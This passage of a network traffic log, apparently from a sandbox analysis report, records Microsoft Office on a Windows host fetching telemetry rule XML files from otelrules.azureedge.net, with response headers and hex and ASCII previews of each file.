2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 833f0754-a01e-0053-540e-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-1777c6cb754xrr98hC1TEB3kag00000009fg00000000570b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.8	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-r1d97b99577hsvhhhC1TEByb1w000000031000000000fbc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-r1d97b99577mrt4rhC1TEBftkc00000008ug000000003dcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-185f5d8b95cdtclvhC1NYC4rmc0000000a8000000000ktp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-185f5d8b95cx9g8lhC1NYCtgvc00000002h000000000etf4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a8e194b-c01e-00a2-6f17-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-r1d97b99577656nchC1TEBk98c00000008tg00000000ew1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:45 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:45 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: fcb7274f-701e-003e-5908-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122845Z-r1d97b99577n5jhbhC1TEB74vn00000008rg00000000dsvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:45 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:45 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:45 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122845Z-1777c6cb754mrj2shC1TEB6k7w00000009tg0000000031m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:46 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:46 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:46 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122846Z-185f5d8b95c4bhwphC1NYCs8gw0000000a9g00000000fup2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:46 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:46 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:46 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122846Z-r1d97b99577d6qrbhC1TEBux5s00000008vg00000000h7ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:46 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:46 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:46 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122846Z-185f5d8b95cf7qddhC1NYC66an0000000a6g00000000g8fp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:46 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:46 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:46 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122846Z-r1d97b99577sdxndhC1TEBec5n0000000920000000002bqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:46 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" 